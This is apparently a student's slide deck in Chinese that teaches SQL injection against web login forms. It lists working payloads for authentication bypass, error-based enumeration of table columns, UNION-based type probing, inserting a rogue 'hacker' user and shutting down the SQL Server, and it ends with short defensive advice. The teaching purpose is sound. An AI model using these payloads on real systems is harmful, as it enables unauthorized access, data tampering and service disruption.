SQL Injection (資料隱碼) 學生:a0933333 吳倩瑜 指導教授:梁明章
介紹 竊取資料或破壞電子商務網站 利用輸入特殊命令,讓系統將之與標準的資料庫查詢程式和資料合併在一起,送給資料庫管理系統執行 用SQL語言所撰寫程式碼來存取或查詢資料庫內所存放之資料 利用輸入特殊命令,讓系統將之與標準的資料庫查詢程式和資料合併在一起,送給資料庫管理系統執行 針對與客戶互動的程式尤其是會對資料庫進行存取或查詢的程式碼 資料庫為電子商務與企業內各應用系統資料儲存之軟體系統,而對資料庫進行存取或查詢主要是使用資料查詢語言-SQL (Structure Query Language, SQL),幾乎所有的資料庫廠商都使用SQL為其標準的資料查詢語言。因此絕大部份電子商務的交易行為都會使用SQL語言所撰寫程式碼來存取或查詢資料庫內所存放之資料。 有害的程式碼被正常的程式碼包裝起來形成『隱碼』,直接對資料庫存取資料或進行破壞,進而造成資料庫損毀或資料流失。因此任何與客戶互動的程式尤其是會對資料庫進行存取或查詢的程式碼,都是駭客下手的對象。
攻擊模式 利用特殊指令攻擊 利用系統的錯誤訊息找出資料庫弱點
攻擊模式-剪接語法
攻擊模式-剪接語法 SELECT * FROM tblUser WHERE UserName='admin'--' AND Password='asdf' SELECT * FROM tblUser WHERE UserName='admin' 利用任何已知的使用者名稱登入 在需要輸入使用者名稱的地方鍵入 Admin’--
SELECT * FROM tblUser WHERE UserName='' or 1=1--' 攻擊模式-剪接語法 ‘ or 1=1- - SELECT * FROM tblUser WHERE UserName='' or 1=1--' AND Password='asdf' 用未知的使用者名稱登入 若沒有已知的帳號,也可以用以上的方式輸入到使用者名稱欄位
攻擊模式-利用錯誤訊息 獲取欄位數量與名稱 在使用者名稱欄位輸入: ' HAVING 1=1--
攻擊模式-利用錯誤訊息 'GROUP BY UserID HAVING 1=1-- 'GROUP BY UserID,UserName HAVING 1=1-- 'GROUP BY UserID,UserName,Password,Pri HAVING 1=1-- 約略估計資料表的欄位結構 ';INSERT INTO tblUser Values('hacker','hacker',10)--
'UNION SELECT 'abc',1,1,1 FROM tblUser -- 攻擊模式-利用錯誤訊息 獲取欄位資料型態 若有資料欄位格式不對,導致無法加入自訂使用者 在使用者名稱欄位輸入: 'UNION SELECT 'abc',1,1,1 FROM tblUser --
攻擊模式-使用具破壞力的語法 停掉 SQL Server 的執行 破壞內容 刪除資料庫內某個資料表 清空某個資料表 DELETE 清空資料表 ' ;SHUTDOWN--
如何避免 加強程式上的安全檢查措施 妥善使用權限管理 保持良好的程式開發習慣 將核心程式碼隱藏起來 以標準的訊息回覆給客戶 刪除多餘的資料表